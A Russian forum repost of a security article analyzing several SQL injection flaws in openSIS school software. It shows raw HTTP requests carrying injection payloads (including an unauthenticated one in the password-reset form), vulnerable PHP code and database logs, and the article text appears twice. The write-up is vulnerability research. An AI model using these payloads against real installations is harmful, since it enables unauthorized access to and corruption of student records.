D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
В этой статье мы с тобой разберем несколько видов SQL-инъекций на боевом примере — приложении openSIS, в коде которого я нашел несколько серьезных проблем. Если ты хочешь научиться обнаруживать потенциальные проблемы в коде на PHP, этот материал должен стать живой иллюстрацией. Особенно она будет полезна новичкам, которые хотят разобраться с темой SQLi.
openSIS — это бесплатная и открытая информационная система для учебных заведений, доступная для школ и высших учебных заведений. Она разработана и поддерживается компанией Open Solutions for Education.
Я установил это приложение локально, что позволило мне видеть все запросы, отправляемые им в базу данных. Другими словами, тестирование проводилось методом белого ящика: знание кода и структуры данных позволило тщательно изучить, как обрабатывается то, что ввел пользователь, и как формируются SQL-запросы.
Я искал те места в коде, где ввод подставляется в SQL-запрос без должной проверки и чистки (валидации и санитизации). Давай посмотрим, что мне удалось найти.
В MySQL или MariaDB для включения логирования нужно выполнить следующее:
В булевой слепой SQLi мы изменяем SQL-запрос так, чтобы система возвращала булево значение — то есть ответ на то, истинно выражение или ложно. Этот тип атаки использует бинарную природу ответов: содержимое веб‑страницы или код ответа HTTP будет изменяться в зависимости от истинности внедренного запроса. Например, изменение запроса может привести к тому, что какие‑то элементы на веб‑странице будут появляться и исчезать в зависимости от того, истинны ли результаты запроса (условие существует в базе данных) или ложны (его нет).
Временные слепые SQL-инъекции более скрытны. Здесь мы внедряем SQL-команды, которые заставляют базу данных задуматься чуть дольше обычного, и используем это, чтобы вытащить из нее данные. Отсутствие визуальной обратной связи на странице делает эти атаки особенно трудными для обнаружения. Если условие запроса истинно, ответ базы данных намеренно задерживается, и отсутствие задержки означает «ложь». Измеряя время ответа, мы можем определить наличие или отсутствие конкретных данных в базе.
Я отправил два запроса: первый, имитируя работу формы Forgot Password, второй — Forgot Username.
Forgot Password:
Код: Скопировать в буфер обмена
Forgot Username:
Код: Скопировать в буфер обмена
Вот в какие SQL-запросы это трансформировалось:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Как видишь, s.STUDENT_ID не заключен в кавычки, что делает эту переменную уязвимой для SQL-инъекций. Я могу использовать полезную нагрузку
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Вот как выглядит уязвимый код для восстановления юзернейма. Файл ResetUserInfo.php, строка 395:
Код: Скопировать в буфер обмена
А вот уязвимый код, который обрабатывает форму восстановления пароля. Файл ResetUserInfo.php, строка 296:
Код: Скопировать в буфер обмена
Отсюда мы можем понять, что если грепнуть по выражению =' . $, то мы, вероятно, получим все параметры, которые не заключены в кавычки.
Например, используем вот такую команду:
Код: Скопировать в буфер обмена
В результате мы получим все параметры, которые не заключены в кавычки, а также множество других параметров, которые могут быть уязвимы. Проверять их все не стоит нашего времени, поэтому продолжим искать уязвимости:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Эта функция, по сути, заменяет одну одинарную кавычку двумя одинарными кавычками, тем самым предотвращая SQL-инъекцию.
Давай проверим параметр TITLE в запросе ниже:
Код: Скопировать в буфер обмена
Когда я отправляю запрос, подобный приведенному выше, я вижу:
Код: Скопировать в буфер обмена
Если вместо XSS я введу XSS', SQL-запрос будет немного другим:
Код: Скопировать в буфер обмена
Моя одинарная кавычка заменяется двумя одинарными кавычками. Чтобы сделать этот случай более понятным, ты можешь использовать простой PHP-код, чтобы проверить это самостоятельно.
PHP: Скопировать в буфер обмена
Результат:
Код: Скопировать в буфер обмена
Давай заглянем в исходники, относящиеся к этой части приложения. Нам нужен файл modules/schoolsetup/MarkingPeriods.php, строка 271:
PHP: Скопировать в буфер обмена
Есть еще один SQL-запрос, связанный с запросом выше:
Код: Скопировать в буфер обмена
Его код находится в modules/schoolsetup/MarkingPeriods.php, строки 270–286:
Код: Скопировать в буфер обмена
Как видишь, наш запрос начинается с 'UPDATE ' . $table . ' SET ';. Здесь $table — это, очевидно, имя таблицы. Дальше выполнение переходит ко второму оператору if, потому что мы установили заголовок XSS:
Код: Скопировать в буфер обмена
Теперь мы попадаем в блок else:
Код: Скопировать в буфер обмена
Я использовал XSS' в качестве входных данных, и это дало такой SQL-запрос:
Код: Скопировать в буфер обмена
Я решил удалить SingleQuoteReplace и посмотреть, что изменится в запросе:
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Только значение первого столбца экранировано, второй TITLE остался прежним. Я вернул код обратно и вместо 18 написал 18":
Код: Скопировать в буфер обмена
Почему я заменил 18 в первом tables[]?
Поскольку запрос был UPDATE school_years SET TITLE, логично было изменить 18 в параметре TITLE. SQL-запрос сейчас такой:
Код: Скопировать в буфер обмена
Почему XSS' был заменен XSS'', а 18'' остался как 18'' (то есть не изменился), если я вернул все в норму и включил функцию SingleQuoteReplace?
Потому что в коде SingleQuoteReplace заменяет одну одинарную кавычку двумя одинарными кавычками только в параметре первого столбца, а не в других. Инъекция здесь осуществляется в параметр MARKING_PERIOD_ID, и SingleQuoteReplace там не сработает.
Я поменял 18" на 18'+OR+1%3d1%23. Теперь запрос такой:
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Некоторые случаи, включающие INSERT, могут быть трудными для тестирования, поскольку тебе придется каждый раз удалять вставленные значения. Один из таких случаев — в этом запросе:
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Код SQL-запроса сформирован в файле modules/schoolsetup/FailureCount.php, строки 31–47:
Код: Скопировать в буфер обмена
Здесь нет проверки и очистки, следовательно, этот параметр также уязвим для SQL-инъекций. И опять же, в этом случае мы можем использовать grep (' .$ и получить другие уязвимые параметры.
Разработчик явно попытался предотвратить SQL-инъекцию, удвоив вставленные двойные кавычки, но это привело лишь к курьезу.
Отправляем запрос:
Код: Скопировать в буфер обмена
Получается вот такой SQL-запрос:
Код: Скопировать в буфер обмена
Все выглядит нормально, но в коде двойная кавычка дублируется. Смотри modules/schoolsetup/Courses.php, строку 1424:
Код: Скопировать в буфер обмена
Это значит, что, если я введу XSS", эта строка превратится в XSS"". Но есть и какая‑то санитизация, где именно она происходит, я так и не выяснил. Когда я ввожу строку XSS, она превращается в XSS". Но поскольку в приведенном выше коде есть вызов функции str_replace, он исправит XSS" на XSS"", что приведет к SQL-инъекции.
Итого: разработчик применил две меры безопасности — удвоение кавычки и санитизацию. И привело это только к созданию уязвимого кода, поскольку один подход противоречит другому и порядок их использования неверен.
Я решил отправить еще один запрос с полезной нагрузкой XSS")#:
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Первый запрос:
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Код modules/students/StudentFields.php, строка 58:
Код: Скопировать в буфер обмена
Как видно из кода, он заменяет одну одинарную кавычку двумя одинарными кавычками. Таким образом, он выйдет (') из введенной нами кавычки, а затем добавит еще одну кавычку (''), тем самым выполнив SQL-инъекцию. Я буду использовать нагрузку XSS'#:
Код: Скопировать в буфер обмена
Тот же случай произошел и в файле modules/students/EnrollmentCodes.php, строки 37–54:
Код: Скопировать в буфер обмена
Как ты видишь, для $id нет проверки, что делает его уязвимым для SQL-инъекций.
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Я использовал полезную нагрузку 14' OR 1=1 -- -, SQL-запрос такой:
Код: Скопировать в буфер обмена
В результате все названия были заменены.
Инъекции можно предотвратить, например, перебирая значения из запроса средствами оператора foreach, как в строке 70 в modules/users/includes/CertificationInfoInc.php:
Код: Скопировать в буфер обмена
Но здесь foreach, наоборот, создает ситуацию, благодаря которой SQLi можно пропихнуть через любой параметр. Как видишь, $cert_id никак не санитизируется и берется из значения "values", например:
Код: Скопировать в буфер обмена
Все, что содержит "values", уязвимо, включая те случаи, когда вместо цифры стоит текст, например values[new]. Запрос к базе данных выглядит следующим образом:
Код: Скопировать в буфер обмена
Если я заменю каждое значение другим числом, очевидно, количество апдейтов увеличится и будет равно количеству чисел. Я заменил первые 16 значений на числа от 1 до 15 (использовал 1 два раза):
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Всего есть 15 запросов UPDATE. Уязвимость легко продемонстрировать, используя {n}'#:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Код PARAM_NOTAGS хорош для предотвращения XSS. Но я бы не использовал его, потому что пользователю могут потребоваться теги в заголовке, так что кодирование HTML было бы лучше в этом случае. PARAM_ALPHA очищает входной параметр $param, удаляя все символы, которые не являются стандартными буквами, # или &. Я видел использование этих кейсов в строках 114–128 в modules/users/Profiles.php:
PHP: Скопировать в буфер обмена
Валидация new_profile_type с использованием PARAM_ALPHA предотвращает SQL-инъекции, поскольку запрещает использовать кавычки. Но PARAM_NOTAGS предназначен только для XSS.
Вот такой запрос стриггерит уязвимость:
Код: Скопировать в буфер обмена
SQL-запрос:
Код: Скопировать в буфер обмена
Неэксплуатируемые случаи — это те, в которых есть SQL-инъекция, но ты ничего от нее не можешь получить, а только манипулируешь некоторыми данными. Но даже эти случаи иногда считаются уязвимостями, поскольку они угрожают целостности вводимых и сохраняемых данных (CVSS ~ 2,7 AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).
Ну и лучшее я оставил напоследок: везде, где в приложении используются значения в квадратных скобках, есть возможность для SQL-инъекции. А используются они во всем приложении.
Автор @az_AZ
Источник xakep.ru
openSIS — это бесплатная и открытая информационная система для учебных заведений, доступная для школ и высших учебных заведений. Она разработана и поддерживается компанией Open Solutions for Education.
Я установил это приложение локально, что позволило мне видеть все запросы, отправляемые им в базу данных. Другими словами, тестирование проводилось методом белого ящика: знание кода и структуры данных позволило тщательно изучить, как обрабатывается то, что ввел пользователь, и как формируются SQL-запросы.
Я искал те места в коде, где ввод подставляется в SQL-запрос без должной проверки и чистки (валидации и санитизации). Давай посмотрим, что мне удалось найти.
ЛОГИРОВАНИЕ
Первым делом нам потребуется настроить логирование запросов к базе данных. То есть нам нужно записывать выполняемые запросы к базе, чтобы потом по ним можно было посмотреть, как программа реагировала на то, что пользователь вводил на сайте. Это поможет нам нагляднее увидеть проблемы и воспользоваться ими.В MySQL или MariaDB для включения логирования нужно выполнить следующее:
- Создать файл mysql.log в директории /var/log/mysql.
- Изменить права на файл или папку и предоставить разрешения пользователю mysql:
Код: Скопировать в буфер обмена
chown mysql:mysql /var/log/mysql -R
- Открыть файл с настройками MySQL/MariaDB, обычно расположенный в
/etc/mysql/my.cnf или /etc/my.cnf
. - Найти секцию [mysqld] (если ее нет, добавить самостоятельно).
- Добавить или раскомментировать следующие строки для включения логирования запросов:
Код: Скопировать в буфер обмена
Код:general_log = 1 general_log_file = /var/log/mysql/mysql.log
- Перезапустить сервис MySQL/MariaDB, чтобы изменения вступили в силу.
НЕМНОГО О SQLI
Забегая вперед, скажу, что мы найдем (но не будем эксплуатировать) «слепые» SQL-инъекции. В отличие от других форм SQLi, слепые SQL-инъекции не раскрывают данные напрямую и требуют тонкого подхода к извлечению данных. Слепые SQL-инъекции делятся на две основные категории: на основе булевых значений и на основе времени.В булевой слепой SQLi мы изменяем SQL-запрос так, чтобы система возвращала булево значение — то есть ответ на то, истинно выражение или ложно. Этот тип атаки использует бинарную природу ответов: содержимое веб‑страницы или код ответа HTTP будет изменяться в зависимости от истинности внедренного запроса. Например, изменение запроса может привести к тому, что какие‑то элементы на веб‑странице будут появляться и исчезать в зависимости от того, истинны ли результаты запроса (условие существует в базе данных) или ложны (его нет).
Временные слепые SQL-инъекции более скрытны. Здесь мы внедряем SQL-команды, которые заставляют базу данных задуматься чуть дольше обычного, и используем это, чтобы вытащить из нее данные. Отсутствие визуальной обратной связи на странице делает эти атаки особенно трудными для обнаружения. Если условие запроса истинно, ответ базы данных намеренно задерживается, и отсутствие задержки означает «ложь». Измеряя время ответа, мы можем определить наличие или отсутствие конкретных данных в базе.
НЕАУТЕНТИФИЦИРОВАННЫЕ SQLI
При поиске багов в приложении ты должен ориентироваться в первую очередь на уязвимости, которые не требуют аутентификации пользователя, так как они самые опасные. Я нашел две похожие SQL-инъекции в разделе «Студент» в функциях, отвечающих за восстановление имени пользователя и пароля.
Я отправил два запроса: первый, имитируя работу формы Forgot Password, второй — Forgot Username.
Forgot Password:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5
Код: Скопировать в буфер обмена
Код:
POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm
Код: Скопировать в буфер обмена
Код:
Query SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'
AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3
Код:
Query SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'
AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS
XSS OR 1=1:
Код: Скопировать в буфер обмена
Код:
tail -f /var/log/mysql/mysql.log | grep -i 'xss'
2024-04-27T13:35:15.303711Z 9 Query
SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'
AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1
AND la.PROFILE_ID=3
Код:
2024-04-27T13:35:29.563796Z 10 Query
SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'
AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1
Код: Скопировать в буфер обмена
Код:
$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''
AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));
Код: Скопировать в буфер обмена
Код:
$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . ''
AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''
AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));
Например, используем вот такую команду:
Код: Скопировать в буфер обмена
find . -exec grep -R "=' \\. \\$" {} \; 2>/dev/null | grep 'DBQuery'
В результате мы получим все параметры, которые не заключены в кавычки, а также множество других параметров, которые могут быть уязвимы. Проверять их все не стоит нашего времени, поэтому продолжим искать уязвимости:
Код: Скопировать в буфер обмена
Код:
./index.php: $usr_prof = DBGet(DBQuery('SELECT * FROM user_profiles WHERE ID=' . $login_uniform['PROFILE_ID']));
./index.php: $check_enrollment = DBGet(DBQuery('SELECT COUNT(*) AS REC_EX FROM student_enrollment WHERE STUDENT_ID=' . $login_uniform['USER_ID'] . ' AND END_DATE<'' . date('Y-m-d') . '' ORDER BY ID DESC LIMIT 0,1'));
./index.php: $opensis_staff_access = DBGet(DBQuery('SELECT * FROM staff_school_info WHERE STAFF_ID=' . $login_Check[1]['STAFF_ID']));
АУТЕНТИФИЦИРОВАННЫЕ SQLI
School Setup
У этого приложения очень интересный подход к защите от SQL-инъекций, называемый SingleQuoteReplace.Код: Скопировать в буфер обмена
Код:
function singleQuoteReplace($param1, $param2, $param3) {
if(empty($param1)) $param1 = false;
if(empty($param2)) $param2 = false;
return str_replace("'", "''", str_replace("'", "'", $param3));
Давай проверим параметр TITLE в запросе ниже:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
tables[18][TITLE]=XSS&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:35:37.678456Z 70 Query
SELECT * FROM marking_periods WHERE upper(TITLE)='XSS'
AND SCHOOL_ID='1' AND SYEAR='2024'AND MARKING_PERIOD_ID NOT IN('18')
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:36:10.103810Z 81 Query
SELECT * FROM marking_periods WHERE upper(TITLE)='XSS'''
AND SCHOOL_ID='1' AND SYEAR='2024'
AND MARKING_PERIOD_ID NOT IN('18')
PHP: Скопировать в буфер обмена
Код:
<?php
function singleQuoteReplace($param1, $param2, $param3) {
if(empty($param1)) $param1 = false;
if(empty($param2)) $param2 = false;
return str_replace("'", "''", str_replace("'", "'", $param3));
}
echo singleQuoteReplace('', '', "XSS'");
echo "\n";
?>
Код: Скопировать в буфер обмена
Код:
root@ubuntu:~# php 1.php
XSS''
PHP: Скопировать в буфер обмена
Код:
$TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods
WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . ''
AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . ''
AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . '')'));
Код: Скопировать в буфер обмена
UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'
Его код находится в modules/schoolsetup/MarkingPeriods.php, строки 270–286:
Код: Скопировать в буфер обмена
Код:
$sql = 'UPDATE ' . $table . ' SET ';
foreach ($columns as $column => $value) {
$value = paramlib_validation($column, trim($value));
if ($column == 'DOES_GRADES' && $value == '') {
$sql_ex = 'update ' . $table . ' set DOES_EXAM='' where marking_period_id='' . $_REQUEST['marking_period_id'] . ''';
}
if ($column == 'TITLE' && $columns['TITLE'] != '') {
$TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . '' AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . ''AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . '')'));
if (is_countable($TITLE_COUNT) && count($TITLE_COUNT) > 0) {
$err_msg = _titleAlreadyExists;
break 2;
} else {
$sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . '',';
$go = true;
}
}
Код: Скопировать в буфер обмена
if ($column == 'TITLE' && $columns['TITLE'] != '')
Теперь мы попадаем в блок else:
Код: Скопировать в буфер обмена
$sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . '',';
Я использовал XSS' в качестве входных данных, и это дало такой SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:58:52.933692Z 241 Query
UPDATE school_years SET TITLE='XSS''',TITLE='XSS''',SHORT_NAME='FYaaaaaaa',
DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y',
POST_START_DATE='2023-09-01',POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'
Код: Скопировать в буфер обмена
$sql .= $column . '='' . $value . '',';
SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:58:12.880333Z 230 Query
UPDATE school_years SET TITLE='XSS'',TITLE='XSS''',SHORT_NAME='FYaaaaaaa',
DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y',POST_START_DATE='2023-09-01',
POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 546
tables[18''][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Поскольку запрос был UPDATE school_years SET TITLE, логично было изменить 18 в параметре TITLE. SQL-запрос сейчас такой:
Код: Скопировать в буфер обмена
2024-04-27T15:11:25.255965Z 314 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'''
Почему XSS' был заменен XSS'', а 18'' остался как 18'' (то есть не изменился), если я вернул все в норму и включил функцию SingleQuoteReplace?
Потому что в коде SingleQuoteReplace заменяет одну одинарную кавычку двумя одинарными кавычками только в параметре первого столбца, а не в других. Инъекция здесь осуществляется в параметр MARKING_PERIOD_ID, и SingleQuoteReplace там не сработает.
Я поменял 18" на 18'+OR+1%3d1%23. Теперь запрос такой:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 558
tables[18'+OR+1%3d1%23][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Код: Скопировать в буфер обмена
2024-04-27T15:14:17.857574Z 326 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18' OR 1=1#'
Некоторые случаи, включающие INSERT, могут быть трудными для тестирования, поскольку тебе придется каждый раз удалять вставленные значения. Один из таких случаев — в этом запросе:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/SystemPreference.php&modfunc=update&page_display=FAILURE HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
failure%5BFAIL_COUNT%5D=1111
Код: Скопировать в буфер обмена
INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(11111)
Код SQL-запроса сформирован в файле modules/schoolsetup/FailureCount.php, строки 31–47:
Код: Скопировать в буфер обмена
Код:
if ($_REQUEST['modfunc'] == 'update') {
if ($_REQUEST['failure']) {
$TOTAL_COUNT = DBGet(DBQuery("SELECT COUNT(FAIL_COUNT) AS TOTAL_COUNT FROM system_preference_misc"));
$TOTAL_COUNT = $TOTAL_COUNT[1]['TOTAL_COUNT'];
if ($TOTAL_COUNT == 0 && $_REQUEST['failure']['FAIL_COUNT']) {
DBQuery('INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(' . $_REQUEST['failure']['FAIL_COUNT'] . ')');
} else if ($TOTAL_COUNT == 1) {
$sql = 'UPDATE system_preference_misc SET ';
foreach ($_REQUEST['failure'] as $column_name => $value) {
$sql .= "$column_name='" . str_replace("'", "''", str_replace("`", "''", $value)) . "',";
}
$sql = substr($sql, 0, -1) . ' WHERE 1=1';
DBQuery($sql);
}
}
unset($_REQUEST['failure']);
}
Разработчик явно попытался предотвратить SQL-инъекцию, удвоив вставленные двойные кавычки, но это привело лишь к курьезу.
Отправляем запрос:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_id=new HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 51
tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS
Код: Скопировать в буфер обмена
Код:
2024-04-27T18:33:20.677481Z 1489 Query
INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE)
values('1','2024',"XSS")
Код: Скопировать в буфер обмена
Код:
$go = 0;
foreach ($columns as $column => $value) {
if ($value != '') {
$value = trim(paramlib_validation($column, $value));
$fields .= $column . ',';
if (stripos($_SERVER['SERVER_SOFTWARE'], 'linux')) {
$value = mysql_real_escape_string($value);
}
$value = str_replace('"', '""', $value);
$values .= '"' . $value . '",';
$go = true;
}
}
Итого: разработчик применил две меры безопасности — удвоение кавычки и санитизацию. И привело это только к созданию уязвимого кода, поскольку один подход противоречит другому и порядок их использования неверен.
Я решил отправить еще один запрос с полезной нагрузкой XSS")#:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_id=new HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 54
tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS")#
Код: Скопировать в буфер обмена
Код:
2024-04-27T18:38:34.728708Z 1495 Query
INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE)
values('1','2024',"XSS"")#")
Students
Случай, аналогичный описанному выше, произошел с одинарными кавычками.Первый запрос:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=students/StudentFields.php&table=student_field_categories HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc
Connection: close
tables%5Bnew%5D%5BTITLE%5D=XSS&tables%5Bnew%5D%5BSORT_ORDER%5D=1111&tables%5Bnew%5D%5BINCLUDE%5D=bbbb
Код: Скопировать в буфер обмена
SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS'
Код modules/students/StudentFields.php, строка 58:
Код: Скопировать в буфер обмена
Код:
} elseif ($table == 'student_field_categories') {
if (trim($_REQUEST['tables']['new']['TITLE']) != '') {
$chk_title = DBGet(DBQuery('SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='' . str_replace("'", "''", trim($_REQUEST['tables']['new']['TITLE'])) . '''));
Код: Скопировать в буфер обмена
2024-04-30T13:35:45.590461Z 47 Query SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS''#'
Тот же случай произошел и в файле modules/students/EnrollmentCodes.php, строки 37–54:
Код: Скопировать в буфер обмена
Код:
$sql = 'UPDATE student_enrollment_codes SET ';
foreach ($columns as $column => $value) {
if (($select_enroll[1]['TYPE'] == 'Roll' || $select_enroll[1]['TYPE'] == 'TrnD' || $select_enroll[1]['TYPE'] == 'TrnE' || $value == 'Roll' || $value == 'TrnD' || $value == 'TrnE') && $column == 'TYPE') {
$error = true;
continue;
}
$value = paramlib_validation($column, trim($value));
$sql .= $column . '='' . str_replace("'", "''", $value) . ' ',';
$go = true;
}
$sql = substr($sql, 0, -1) . ' WHERE ID='' . $id . ''';
if ($go)
DBQuery($sql);
if ($error) {
ShowErrPhp(_canTEditTypeBecauseItIsNotEditable);
}
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=students/EnrollmentCodes.php&modfunc=update HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc
Connection: close
Content-Length: 152
